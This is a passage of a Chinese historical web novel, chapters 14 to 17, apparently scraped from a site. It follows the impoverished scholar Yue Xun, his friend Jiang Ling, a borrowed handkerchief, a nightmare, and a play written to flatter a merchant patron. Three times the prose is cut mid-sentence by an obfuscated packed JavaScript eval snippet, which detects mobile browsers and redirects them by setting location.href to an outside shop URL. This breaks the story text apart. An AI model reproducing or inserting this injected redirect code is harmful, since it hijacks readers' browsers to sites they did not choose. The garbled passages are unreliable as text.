岳旬:“那还是不要叫令尊知晓姜二爷您在寒舍下榻了。” 14. 第十四章:私相授受 听姜令倒了半天苦水,岳旬吃点心就茶水都把自己吃饱了。心里想着等姜令的小僮买香料回来,让周七把两只兔子卤了,一直泡到明天,只怕更美味。 今夜就不吃那兔子了。 于是顺手就掏出帕子来擦手。 “诶,这是什么好东西!”姜令眼睛尖,岳旬才掏出帕子他立即就发现了端倪,跳将起来,劈手便夺过去。 岳旬心里全是那两只兔子,一个不防就被姜令抢走了。他猛然回过神来,下意识伸手就往回抢。 这东西可是可怕的瓷人的!让姜令抢去了,还不知道要招来什么祸事。 姜令眼看这架势,立即把帕子举过头顶,恨不得要站在炕床上,好让岳旬也跳起来往回夺:“这么宝贝!我就没见过你用过这般颜色样式的帕子,必不是你的东西。给我从实招来,究竟哪个小姑娘对你芳心暗许、私相授受了!” 岳旬的手收了回来。 小姑娘?一筷子戳进人眼睛里的“小姑娘”吗? 可别吓人了。 岳旬缩了下去,翻个白眼,继续倚在抗桌上:“胡说八道!” “你看,说两句还恼了。”姜令抻着胳膊半天,岳旬都不来夺,好没意思,于是攥着帕子坐下了,“既然你说不是心上人给的,那我就拿去了。我看这帕子花样时兴,料子细腻,像是不可多得的好东西,我拿回去叫我家下人照着这个样子……” 姜令话没说完,岳旬猛然转头,以迅雷不及掩耳之势一把攥住姜令手里的帕子,“呼”一下就抽了出来。姜令力气比不上岳旬,猛地被拽了一下,只顾着紧紧拿住手里的帕子,差点就要给人拽到炕床底下去。 姜令非但不恼,反而还哈哈大笑起来:“哎哟哟,我就说,你这么宝贝这东西,定然不能让我拿去。不然怎么跟送帕子的人交代,是也不是?” 岳旬一想,确实。 听温杳的意思国库里很穷,搞不好宁王殿下平时也要拆东墙补西墙。万一下回见着,想起他这金贵帕子来,问自己讨要。 他难道要说:“被姜家二爷抢走了”? 那估计瓷人的脸上要非常精彩了。 单单是想起温杳的脸来,岳旬就要一个哆嗦。 “你抖什么呀?”姜令眼睁睁看着岳旬在他面前打了个摆子,神色古怪起来,斟酌半天词句才悄悄与岳旬附耳,“不会是个泼辣的主儿,你若把帕子弄丢了,得要你好看吧!” 岳旬心如死灰,转过脸来横了姜令一眼:“你怎么满脑子都是这些个事?” “这又如何?”姜令冲着他眨巴眨巴眼睛,理直气壮,表情十分之纯良,“人生不就这么两件大事——读书考举、娶妻生子。咱俩也快有十六岁了,‘知好色而慕少艾’,不是寻常事吗?” 勋贵人家向来都是学武以继承家学,可姜令这家伙小时候三天两头生病,连他老爹一顿棍子都挨不住,只好作罢。但庆国公后来发现姜二爷这家伙在读书上竟然有些天赋,比旁的那些飞鹰走狗的勋贵子弟要强上太多。 岳旬与姜令小时候,大胤重文轻武已成常事。庆国公有这么个能读书的出息儿子,什么时候拿出去在一众勋贵子弟面前遛遛,那都可都是面上有光的。 故而庆国公也不大关注姜令习武的事情了。 可谁知道姜令还真把“读书考举”与“娶妻生子”当成了唯二两件人生大事呢? 岳旬看着姜令忽闪忽闪的眼睛,再想想要连累自己恐怕连书也读不得的户籍,顿时觉得与此人无法交流,于是一挥手:“得了,别拿我逗闷子了。赶紧收拾收拾,睡觉吧。明早我还有事要出门,要早起,你也不许躲懒睡懒觉。既然说要在我这里备考,那就在家中好好读书。” 姜令对岳旬此种充大哥语气十分不满,瘪了半天嘴又想不出什么反驳的话,只好也给岳旬撂下一个白眼。 岳旬家里一共三间屋子,岳小公子想着自己的兄长身份,自然要把好的留给弟弟。于是他把自己的屋子让给了姜令住,自己去了周七从前住的那间。 可周七说什么也同意和自家小主子挤一间屋子——他年纪大了,大半夜睡不着怕吵着自家主子。于是只好去和姜令带来的小僮把家中放杂物的房间收拾一番,住了进去。 几个人胡乱收拾一番,终于各自进屋歇下。 岳旬铺盖的是姜令新带来的被褥,暖和暄软,埋进去有种扎扎实实的舒适感。他今日几乎靠腿跑完了整个金陵城,原以为自己累得沾枕头就要睡着,可是在床上翻来覆去烙饼一样烙了几个来回,竟然还是毫无睡意。 吃苦吃惯了,金贵日子还过不得了? 岳旬撇撇嘴,把手枕在脑下,百般无奈地在心中温起书来。 看如今形势,策论大约与“北伐”一类的分不开,先前听薛家管家说起海贸的事情乃是温杳牵头,那只怕还要考些有关海贸策论。 不过他们如今才考院试,只怕还沾不上海贸、隆靖宝钞这样新鲜的题目,还是得将经史子集的内容好好掰开揉碎,各作一篇文章出来的好。 只是…… 岳旬翻了个身。 只是如今温杳当政,此次乃是南渡以来第一次院试,说不好这位宁王殿下要亲自关注。 今日他没想到会在后湖遇见温杳,更没想到竟然会和他大吵一架,最后几乎可以说是不欢而散。 现在细想,温杳那几句话自有一番道理——如今国库穷得拆东墙补西墙,自然要将钱花在刀刃上,顾了这头就顾不了那头。 抵御北鞑确实是第一要务,谁也不想把大胤拱手让与他人,在史书上遗臭万年,让后人哀之鉴之。 可是国库中有了钱又能如何? 光义朝绵延四十六年,自然有万国来朝的强盛之时,连北鞑当时的噶尔萨汗也不得不亲自送自己的侄女来和亲。那时候国库充盈、国力强盛,可那时候百姓就过得好了吗? 光义帝大兴土木、沉迷玄修,以国库充作一家之私库,而满朝臣工无一人敢言,犹称光义帝为“圣主”。这才有了后来仁正朝兵败辽东、颓不可挡。 仁正帝不过一守成之君,根本没那个挽狂澜于既倒的能力,补不上他老爹捅出来的窟窿眼。 这几朝百姓难不成就过得好了吗?不过是“兴百姓苦,亡百姓苦”。 都说“水能载舟,亦能覆舟”。但这也不过是劝诫鄙薄的肉食者,当心那些“王侯将相宁有种乎”的百姓推翻你,不过是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163798|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维持他们这些既得利益者的统治。 又有谁关心过百姓真正的所求之物? 岳旬自幼读圣人之言长大,但没有哪一位能给他指出一条明路来。 到底是哪里出了问题? 如果温杳真像自己说的那样,确实将抗击北鞑放在第一位,那自然没有错。可若是他想要中饱私囊发国难财,弃黎民百姓于不顾呢? 没有人能保证那个手握大权的人能一直克己为民、高瞻远瞩。 那到时大胤要依靠谁?那个缺两颗牙,翻过年来才堪堪要满八岁的天子吗? 可倘若他又是一位新的独夫民贼呢? 所以,究竟是哪里出了问题? 岳旬没意识到自己的思路越偏越远,以至于根本不知自己是何时入睡的,让他有些分不清梦境和记忆。 他只知道自己在漫天的大雪中一路往前走,每一步踩在地上,都留下一个血色的脚印。 刺目的血红色印在地上,滚烫的鲜血将满地白雪烫化,不知疲倦地往前奔流,在地上冲刷出淡红色的印迹。 岳旬不知自己要往何处去,可他却莫名好似知晓地上的血从哪里来。 是仁正五年他父亲的血,是光义四十五年他外祖的血。 是自辽东兵败以来,每一个抬头仰望过他的可怜流民,唾骂过他的无辜百姓的血。 逼得他没办法回头,只能朝前走。 忽然,岳旬在几乎要遮蔽耳目的狂风暴雪之中看见一个人,穿着一身大红曳撒,在冰天雪地间格外刺目,好像跟奔向前方的鲜血要融为一体。 岳旬看不见他的眉目,却好像又在漫天的风雪中捕捉到一点琥珀色的微光。那微光被敛在一双凤眼只中,让他看不真切。 忽隐忽现,朦朦胧胧。 岳旬觉得自己应当止步,前面站着那样一个人,可不是什么好去处。 可风雪偏偏又拽着他向前。 他看见一双修长带茧的手,捉着一把长刀,一按刀鞘,指尖泛出些用力的红色来。 长刀出鞘,没看见影子就架在了他的脖子上,拍了拍他的脸颊。 他看见了瓷人的脸! 瓷人嘴唇嗡动,一字一顿,声音里带着一股浓郁的铁锈味儿和杀气:“岳旬。” 岳旬深吸了一口气,看向他的眼睛,琥珀色的瞳仁里好像带着旋儿,拉着他往里陷。 “我的帕子呢?!” 啊??? 岳旬一咕噜从床上翻了起来,冰凉的刀刃好像犹在颈侧。 这是什么破噩梦,梦见温杳就算了,他就算在梦里要白刀子进红刀子出捅死自己,他都觉得很寻常。 可为什么会他是问自己要帕子??? 他这帕子上是带着什么了不得的诅咒吗? 岳旬四下乱摸一通,终于把温杳那条倒霉帕子摸了出来,推门出去就想扔了。 他叮呤咣啷打开门,抬手就要把这倒霉帕子扔出去。寒夜里迎面而来的冷风一吹,吹得岳旬顿在了门口。 他在门口站了许久,最后沉默着去水缸里舀了一面盆的凉水。 他就不该留温杳的东西,赶紧洗洗干净,下回把这烫手山芋还回去! 15. 第十五章:拍响马屁 第二日岳旬出门的时候姜令已经起了,哈欠连天地跟岳旬抱怨他家的床板太硬,刚开口说了两句,就揉着眼睛停住了。 岳旬着急出门,根本懒得听那少爷嘟囔,收拾停当就着急忙慌出门。半只脚都已经踏出门槛外,愣是让姜令给叫了回来。 姜令眯着眼睛,朝着岳旬点了点眼下:“你昨晚干什么去了,两眼乌青的。” 他不说还好,一说岳旬就想起昨晚梦里温杳架着刀问他要帕子,一时间不知是该觉得荒唐还是恐怖:“认床,做噩梦。” 姜二爷拧眉撇嘴,总归一副不大相信的样子。岳旬才懒得理他,毕竟他和温杳之间那档子事根本就不是姜二爷这位“不谙世事”的主儿可以理解的,避免闹出麻烦,还是不要让其知晓为妙! 想毕,他咣当一声关上了大门,仰天苦笑出门去了。 岳旬昨夜后半夜几乎可以算得上是没合眼,今晨起得迟,出门前又和姜令叽叽歪歪掰扯了好几句,赶到薛家的时候已经赶不上第一碗粥了。 他取了碗筷小碟,想去捞几筷子自己爱吃的小菜吃,揭开坛子一看——这小菜大约是太过受欢迎,已经剩不下几根菜飘在红油里。 这是在薛家,不是在他自己家。岳旬默默在心里告诫他自己,千万不能用馍馍去沾坛子里的红油! 岳旬千忍万忍,好悬忍住了,长叹一声,从他最爱的酱菜旁边离去。 在薛家磨磨唧唧吃了许久早饭,去薛家书库里把自己的稿子检视一番放在一旁,岳旬便去取了些书籍过来,自行温书备考。 待到日上三竿,岳旬策论都作了一篇,薛大东家才姗姗来迟。 薛琮穿红着绿地往里进,手里提着个不小的笼子,里面栏杆上站着只同样穿红着绿的红嘴绿鹦哥。 那鹦哥进来便张开一张小红嘴,从它那细细的嗓子眼里发出声势浩大的动静:“东家来了!东家来了!” 这声音不说如凤凰清啼,也起码和一百只鸭子乱叫发出的声响差不多大。刺耳的叫声从岳旬的左耳穿透到了右耳,提着他的眼睛把人从策论里拔了出来。 吃人的嘴软,岳旬就算是被这鹦哥吵的双耳失聪,也不好面上露出不快。他理一理衣摆,同其余清客文人一同站起来给薛大东家作揖行礼。 薛大东家不知撞了什么好大运,红光满面,看着人逢喜事精神爽,很是大方地同诸位清客挥了挥手:“覅客气,覅客气。大家写好个话本子拿出来,做自家个事体就好了呀。我一家头一家头走过来看个。” 他在这边说话,那鹦哥在笼子里也没闲着,顺着薛琮的话拍起翅膀放声大叫:“看!看!看!” 薛琮的笑容有些僵硬,把鹦哥笼子往离自己耳朵更远的地方挪了几分。底下仆从看着,赶紧把这倒霉的鹦哥从东家手里拎走,薛琮饱受痛苦的耳朵终于轻松几分。 两个仆从搬了个躺椅给薛琮,他竟然就大大方方当着诸位清客相公的面倚在躺椅上晃晃荡荡,品茗吃点心。 底下仆从挨个按座位顺序将话本收了上来,呈给薛琮。他先是腾出一只手来翻话本看,翻着翻着觉得妨碍他吃点心,点了个识字的仆从过来,给他念着听。 整个屋子的氛围随着那仆从抑扬顿挫的念书声肉眼可见地尴尬起来,所有的人都有些莫名的紧张,只能假装继续做自己手里的事。 岳旬坐在最里面,默默用手捂住了自己的眼睛。 真是太尴尬了。 他也算是阅话本无数的人,迄今为止还没有见过这么尴尬的场面。诸位清客要么久试不第,要么家境清贫,可都是正经读书人。能不能考上另说,确实都是曾经考过的。 大家打小儿就是读孔孟,脸面是最要紧的东西。若不是实在没有办法,谁愿意豁出一张老脸去,给商贾人家做清客?正经清客也就算了,偏偏还是写话本子的清客! 这说出去不让人笑掉大牙? 话本是什么东西,市井上流传的上不得台面的玩意儿东西。谁家正经读书人看这个,让自家的古板老爹发现了,恐怕都要让人给拉进祠堂里面对着列祖列宗打好一顿板子,训斥些玩物丧志的大道理。 更别说是写话本,那恐怕列祖列宗都要争先恐后从牌位里探出头来,吐沫星子横飞地指责不孝儿孙了。 可是诸公为了那一月一吊钱的月例,为了那即将拿到的千字五两的稿费,不得不忍下屈辱,揭开面子,做出违背祖宗的决定,在薛大东家这里写些才子佳人谋生。 倘若单单是才子佳人倒也罢了,可如今市面上流行的可不止才子佳人。许多话本那一路就顺着脂粉红妆花前月下鸳鸯锦被往被翻红浪去了。 自己私下里看就看了,可偏偏要当众让仆从朗读出来! 薛大东家倒是面不改色心不跳,甚至听着听着手里的茶点都要拿不住,头一点一点,就差要小鸡啄米。可书库的其余人就没那么闲情雅致了,正被念着的面红耳赤,还没被念的如坐针毡,被念完的面如土色。 好狠的薛大东家,最狠莫过商贾! 岳旬对此深表同情。 左右手里的策论是写不下去了,他干脆把笔撂下,专心品鉴起来。 这几本话本大都是写薛琮进京赶考,在赶考路上遇见风尘女子鸣翡,二人做了露水夫妻。此后薛琮立下誓言,一定要回来娶鸣翡。而后薛琮高中,薛家却不同意娶一青楼女子为妻。 如此杂杂拉拉扯一大堆,最后要么是薛琮又娶了宰相之女又将鸣翡收入囊中,大团圆结局。 要么就是鸣翡泪洒秦淮,说自己身份低贱,要薛琮好好娶妻生子,出将入相,大悲剧结局。 可看薛琮,继续闭着眼睛啄米,估计不大满意。 岳旬心里想,我们这群人读书考举,当然听着身临其境。可薛琮他是个商人,他又不考举,懂什么“大登科后小登科”?还享齐人之福? 这话本是薛琮用来讨好鸣翡的,又不是薛琮写来满足自己的。那鸣翡姑娘可是个烈性之人,看了这薛琮还能得了好? 仆从读了一本又一本,书库中的清客相公是失魂了一个又一个,终于,仆从抽出了一本封面花花绿绿的话本。 岳旬等的就是这个,还不等这仆从张口,他便从一堆子已经几乎是死人的清客相公中越众而出,张手一挥:“慢!” 薛琮正打瞌睡,让他吓了一大跳,手里的点心吧嗒一下就掉在了衣袍上。他手忙脚乱要把这掉渣的点心拍下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163799|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,险些就叽里咕噜从躺椅上滚下来。 好在薛大东家向来不拘小节,抬手让仆从把自己扶起来,眯着眼睛看岳旬:“啊?” 岳旬和薛家那老管家对视一眼,拍了拍手,几位已经扮好了的戏子从门外鱼贯而入:“既然东家说这话本子以后还要编排成戏,与其听人干巴巴地念,不如干脆编排好了搬演出来,博东家一笑。” 几个小戏子年纪都不太大,都是薛琮没见过的生面孔,听岳旬说话,便都朝着薛琮盈盈一拜。 岳旬哪里有钱请名角儿,这几个人是他拜托云韶院的芍药去不大出名的小戏班里寻的学徒。他挨个听了几句,唱功尚可凑活能用,价钱也不大贵,便加紧时间让他们排演。 至于薛家那位老管家,他早也见岳旬晚也见岳旬,早就熟识了。旁的清客眼高于顶,都清高得很,可岳公子乃是个惯会说好听话的牛皮糖。一分钱掰成两半花都想着给老管家带零嘴儿,嘴里面“爷爷”长“爷爷”短,哄得那老管家见了他比见孙子还亲。 两下一合计,这才有了今日这几位小戏子进入书库。 薛琮本来迷离着双眼,困得不行,一见有戏听,顿时坐直了身子,连连朝着岳旬点头。周遭仆从原本也读得口干舌燥昏昏欲睡,这一下子,赶紧又把茶水点心摆端正了。 薛琮翻开了花花绿绿的戏本,上书龙飞凤舞三个大字《响翠传》,再抬眼,一个容貌清丽的小旦莲步轻移,走入了众人的眼帘。 想必是本剧的正旦响翠。 《响翠传》云,响翠之父原是朝中二品大员,年幼之时在园中玩耍,恰逢商贾之子薛瑜坠入莲池。 响翠聪慧非常,以手中柔韧不断的锦帕将薛瑜救上岸来,二人缘悭一面,此后分别。 七八年后,响翠已是一名清丽少女,而薛瑜继承家业,成为了一方巨贾。 可惜响翠家道中落,父亲获罪,原先的千金小姐竟然被卖入青楼沦落风尘。后有一王爷,欺男霸女,将响翠强抢入府中。可这王爷哪里是长性的人,买了响翠便置之脑后。 此后响翠便在家中屡遭责打,日子十分凄苦。 而这位薛大东家,虽然商贾出身,确是一位有情有义的正人君子!他多方打听响翠的下落,没有想到再找到响翠之时她竟然已经沦落风尘还被王爷抢去。 薛瑜下定决心,就算那王府再凶险,就算那王爷再是吃人的笑面虎,他也要见响翠一面! 于是薛瑜便想尽办法,扮作唱戏的伶人,在那王爷享乐之时偷偷混进王府,终于见得响翠一面。 好一个有情有义的薛大东家! 那扮小生的戏子唱的婉转动听声泪俱下,脚下步子也踉跄起来:“猛见得茜纱窗下血痕新!那玉臂横陈鞭痕印,分明是响翠眉颦。” 他一甩袖子,念白道:“必要想个办法,救响翠出苦海!” 这扮薛瑜的戏子顿在原地,音乐戛然而止。 薛琮搁下手里的茶盏,等了半天都不再听闻丝竹之声:“然后呢?要怎么救响翠姑娘脱苦海?侬接下去要写啥物事?” “自然是……”岳旬接了那小生手上的扇子,哗啦一声展开,也念白,“好一个智勇双全的薛大东家!” 16. 第十六章:响翠薛瑜 作为一个合格的清客,岳旬的马屁拍得薛大东家通体舒畅,当即表示要与他详谈《响翠传》。 岳旬非常不好意思,表示东家你家放午饭的时间到了,咱要不用了饭再详谈? 可薛琮非常激动,他哪里愿意等到下午,直接大手一挥:“搿有啥难啦?我刚刚请了只新厨子,索性我请侬吃搿顿饭,正好试试看伊手艺哪能。” 薛大东家自己的饭食想来要比清客们的大锅饭好吃太多,岳旬哪里有亏待自己嘴的理由,当即同意。 二人一拍即合,抬脚要走,也算是拯救了书库中一群失魂落魄又无比尴尬的清客。 上饭桌的时候,岳旬狠狠告诫过自己,要矜持,不能跟八百辈子没吃过饭一样。他从前还是个二品大员家的公子,什么样的山珍海味没见过? 可当桌上的肉香徐徐飘进鼻孔,岳旬却仍然忍不住往下猛咽口水。 桌上的各样河鲜倒也罢了,那东西拆半天螃蟹腿也没什么吃头。只是有一碗东坡肉,色泽红亮,十分软烂,端上桌的时候还晃晃悠悠弹了两下,好似放不住当即要破了皮露出软烂的脂膏一般。 那是肉味儿。 咸香的、浇着酱的五花肉,让大火焖过,香气从油脂里挤压出来,勾引得人频频想用眼睛去看看,用鼻子去嗅。 岳旬小时候确是吃过好的,可他也是饿过的人。 嗓子眼里噎着麸糠,灌稀汤把咸的要命的梅干菜往下冲的时候,他其实根本想不起来正常饭食的味道,好像他生下来就是吃这个。 锦衣玉食时他未觉过米是香的,吃糠咽菜的时候他也尝不出扎嘴的麸糠的味道。可在薛家吃白米粥的时候,他头一回闻见了米的香气。 白米是喷香的,白面馍馍也是喷香的,闻见的时候会让人感觉到自己真真切切还活着。岳旬当时把已经煮的软烂的米粒吃进嘴里反复咀嚼,把雪白的馒头撕开不就酱菜吃进嘴里反复品尝。 他竟然吃出了甜味儿。 没有放一点点糖,他竟然吃出了甜味儿。 那一刻岳旬几乎要热泪盈眶。 他□□米精面的时候险些哭出来,可见到肉的时候却两眼干干,没有泪了。如果说能吃上白米白面能让人感觉到是活着的,那么吃到肉就是一种遥不可及的奢望。 他已经快不记得肉是什么味道了。 能每天都吃饱饭,是一种多么幸福舒坦的安稳日子。 他只觉得饿。 他想起那日卖孩子的流民,他只觉得饿。 整个大胤仿佛都在嚎啕——饿!饿!饿! 不止他需要钱,整个大胤都需要钱。如今大胤便是个嗷嗷待哺的雏鸟,张开大嘴想要饭吃,可怎么也填不满胃囊。 什么时候,才能让黎民百姓每天都吃饱饭,吃上这样一口肉呢?据说尧舜禹汤是圣人,那时百姓安乐太平、不饥不寒。可尧舜禹汤太远,哭喊的流民又太近。 到底怎么样才可以救他们,怎么样才可以救大胤? 岳旬沉浸在那虚幻又迷蒙的肉香里,对薛琮到底说了些什么充耳不闻,直到他反复呼喊自己才回过神来。 “岳公子,侬有勿有表字啊?总归搿能喊侬,好像阿拉勿大熟嘛。” 岳旬的眼睛依旧盯着那碗东坡肉,但两耳终于得空,能听见薛琮的声音了:“旬还不曾进学,身边也没有师长,故还尚未取字。” “噢,晓得唻。岳小公子侬覅只晓得看呀,也动动筷子吃两口嘛。”薛琮不太明白岳旬两眼直勾勾盯着东坡肉到底在想什么,但是大概明白他应当很想吃,于是让仆从把东坡肉换到了他面前,“覅客气呀!我刚刚讲额搿些,侬觉得哪能?” 如今薛琮算是岳旬的衣食父母,竟然没听见他说的话,岳旬实在有些愧疚:“实在抱歉?东家方才说什么?” “侬覅介客气嘛,叫我表字廷璧就好唻。”薛琮年轻,也确实是个很平易近人没有脾气的东家,也不讲究什么食不言寝不语,一边吃饭一边兴致勃勃地与岳旬交谈,“我刚刚讲,搿个薛瑜搭响翠姑娘额感情忒顺当唻,响翠又勿欢喜王爷。侬要拨薛瑜加只情敌,搿能末显得出最后响翠搿种……就是?读书人讲额‘弱水三千只取一瓢饮’呀!勿然哪能显得出薛瑜特别啦!” 岳旬把两腮塞得鼓鼓囊囊,听见这话差点噎住,没想到薛大东家竟然还有此等要求,好半天才把嘴里的饭食咽下去:“你想要个什么样的情敌?” “书生嘛,闲话本书里向额美人勿是侪欢喜书生啊?”薛琮手里抄着筷子眉飞色舞,“书生没帮响翠救出来,薛瑜搿个生意人倒拿伊救出来唻!伊是欢喜过书生,不过最后还是看中我!阿是显得我更加结棍!” 岳旬连连点头,默默补充,东家这是想说“仗义多为屠狗辈,负心都是读书人”,啊不“商贾辈”。 “至于啥个样子额书生……”薛琮把岳旬上下打量了一遍,一拍桌子,“就侬搿能样子额喏!” 果然,薛大东家总是能出其不意给人以惊喜。岳旬哭笑不得,指着自己:“啊?我?” 薛琮煞有介事地点了点头。 罢了,谁让薛琮是东家呢?想想那千字五两的稿费,别说是让他以自己为原型写个情敌,就算是写成个大奸大恶的贼人,写得五马分尸剥皮揎草他都在所不惜啊! 反正他不嫌不吉利,也不相信什么阴司地狱报应。 他得赚钱吃饭,这辈子都要活不下去了,哪里还顾得上下辈子的事情。 “行,可以!”岳旬毫不犹豫,一口应下,“那东家……廷璧兄,薛瑜将响翠救出来之后,想让故事怎么往下走?” “葛末当然是我欢喜伊伊勿欢喜我,伊每日愁眉苦眼,我天天暗地里相陪。到最后伊终于对我敞开心扉,发觉阿拉两家头从小认得,伊老早救过我性命。伊觉着我搿个人懂得知恩图报靠得牢,又觉着我有家当有事业心里笃定,还觉着我聪明勇敢将来小囡也灵光。结果阿拉两个风风光光结婚,养了十只八只小囡。” 薛琮一激动,越说越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163800|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快越说越快。吴语难懂,相处这些时日岳旬已经勉强能听懂许多词汇,可他这一快起来叽叽呱呱的,语速比先前他带来的红嘴绿鹦哥也好不了多少。 岳旬皱着眉头分辨了许久,才从零星几个词句里分辨出薛大东家究竟是何含义。 既然东家要个书生情敌,而那位欺男霸女的王爷原型又是某位可怕的瓷人,岳旬干脆一不做二不休,加入了薛琮这场疯狂的行动:“好,那就这样——这书生和响翠原本有些情谊,奈何王爷欺男霸女,不仅将响翠夺走还陷害了书生的父亲!” “书生为报杀父之仇、夺妻之恨,与也想搭救响翠的薛瑜相识,二人结拜兄弟。薛瑜以盐引为饵——若是东家想写得再明确些,说是棉布海贸生意也成——诱骗那王爷入局交换人质。” 岳旬说着,也兴奋起来,若不是在饭桌上,他恨不得要立即拿纸笔将这些东西粗略写下来给薛琮看:“而后书生为了为父报仇,不得不舍弃响翠,将她托付给薛瑜,只身走上为父报仇的路,誓要王爷血债血偿。” “响翠不知为何遭到抛弃,以为是书生觉得她遭到了仇人的玷污,故而终日以泪洗面。而薛瑜怕响翠知道书生只身赴死,会肝肠寸断,更难活命,所以只好默默守候。 后来响翠竟然发现薛瑜竟是幼时自己救下的商贾之子。正巧书生登门拜别,言明自己此次一去应是死别,大仇当前,必先与响翠斩断情丝,同时拜别薛瑜这位结义兄弟。书生还将薛瑜为响翠所作之事尽数托出,直言此人可托付终身。 响翠此时才知,原来薛瑜不但为报幼时恩情,还早对自己思慕已久,竟然隐忍至此,感动异常。二人劝阻书生不要前往,但书生认为杀父之仇必须要报,执意前往,二人只得与书生拜别。” 岳旬说得慷慨激昂,薛琮听得连连点头:“搿能着实好唻,接下去好拜堂成亲唻!” 可岳旬犹不满足,神秘莫测朝着薛琮笑了笑:“如果想要这话本和这戏传到鸣翡姑娘面前,除却要廷璧兄鼎力相助,还得要大家都爱看愿看才行。廷璧兄家业打理得这样好,想必知道其中关窍。” 薛家做的是棉布生意,薛琮不假思索,当即回答:“物美价廉。” “确实如此。”岳旬笑嘻嘻朝着薛琮拱了拱手,给足了这位东家面子,“可话本应当如何‘物美’呢?” “旁的清客相公之所以爱写些‘大登科后小登科’的故事,不过是传达出他们心中所想,一言以蔽之,能让他们觉得自己成为了书中人。可究竟如何让百姓对此故事皆有共鸣?愚以为不如将如今形势加入其中——” “北地鞑虏来犯,薛瑜作为商贾却‘义’字当头,毁家纾难,共御北虏。散尽家财后响翠依旧不离不弃,最后终成眷属,最后传为一段佳话。” 岳旬面不改色心不跳,喝了两口茶水,继续大言不惭将马屁拍得震山响:“如此方显得东家你有情有义、智勇双全、赤心为国,是值得托付的好儿郎!” 薛琮大喜,合掌一拍:“灵光得来!” 17. 第十七章:美人画皮 从薛家回到家之后,岳旬就开始后悔。 薛大东家出手阔绰,聊完当即将他未完待续的话本子以千字五两的价格买下,只待后续。而后二人把酒甚欢,酒过三巡菜过五味,薛琮表示实在欣赏岳旬的才华,表示想将他最喜欢的鹦哥“彩衣郎”送给他。 岳旬当时满脑子都是“千字五两”,想也没想就满口应下来。 于是他现在和姜令两个人站在檐下,面对着同一只鹦哥大眼瞪小眼。 那鹦鹉大爷十分英武地张开两翅,在一跟细细的横杆上上下翻飞,声音如毛驴一般雄壮:“敢关你爷爷!敢关你爷爷!” 姜令没见过这么能叫唤的扁毛畜牲,啧啧称奇了半天:“这又是你打猎打回来的?” 岳旬觉得他现在赚钱的活计不太上的了姜二爷这等勋贵的台面,更觉得这声如犟驴的鹦哥丢人现眼,不知该如何作答,抬手把整张脸都捂住,瓮声瓮气含含糊糊:“嗯。” 姜二爷恐怕根本不知道该说什么,发出了声调好高一声:“嚯~!” “你喜欢吗?不如送你吧,拿回去替你在你老爹面前尽尽孝道。”岳旬心如死灰,口不择言,“你和你大哥哥都不回家,家里也怪冷清的。” “尽什么孝道?”姜令抬手给那鹦哥添食,鹦哥歪过一双绿豆眼,差点就要叨他一口,吓得他一下子就缩回了手爪子,“替我把我爹气死吗?” 聒噪的鹦哥还在上下翻飞,嘴里不干不净骂着些“小畜生还不孝敬你爷爷”一类的混账话。岳旬已经被他吵得麻木了,但为了姜二爷耳朵与身心健康考虑,他还是真诚地提出了一些建议:“不行你要不还是回家吧,或者找个安静的寺院备考——备考的童生在寺院里吃斋饭不要钱。” 姜令不说话,只看着岳旬,拿手指点着自己,大有一副“兄弟落难你就这样赶我走”的架势。 岳旬不知该如何回答。 姜令是个从不会多想的小少爷,住一两天倒也罢了,姜令顶多觉得自己缺衣少食,接济接济他。但真住久了,难保他自己这种不大体面的日子会被剥开赤裸裸地展现在姜令面前。 昨日是在温杳那里得来的兔子与帕子,今日是“主人家”赏赐的鹦哥,通通让他糊弄过去了。可明日后日还不知道是什么,姜令今日不问明日不问,后日也不得不要多问几句。 他当然不觉吃糠咽菜、千夫所指有什么不能忍受;也不觉得给个商贾做个写话本的清客、当着众人的面咆哮公堂当场发癫丢人现眼;更不觉得与自己的杀父仇人虚与委蛇或者对其言语刺激算得上什么卧薪尝胆或是可怖难言。 他都受得住,都忍得了,这些对他都算不上什么大事。耸着肩膀笑一笑就过去了,都不是什么大事,他总得挣扎着奔命,踉踉跄跄也要往前走。 可若是让姜令得知了呢?可这放在姜令这种勋贵眼里,那就是难以言明的潦倒与折辱。更不用说他与温杳之间的种种矛盾,更是不能与他详细说来。 姜令纵然天真,却也是个见朋友缺衣少穿,愿意借着“我想住你家备考”的由头堂而皇之住进自己家,借着让下人伺候自己吃穿的由头来接济他的人。 明面上说是岳旬救他落难,可两人心里门儿清。 岳旬心里很感激。 那就更不能让他知晓那些事。 若他当真知道了,难道还真能眼睁睁放着自己不管? 但他却万万不能让姜令帮这样的忙,更不能让姜令去求告庆国公府帮自己这样的忙。 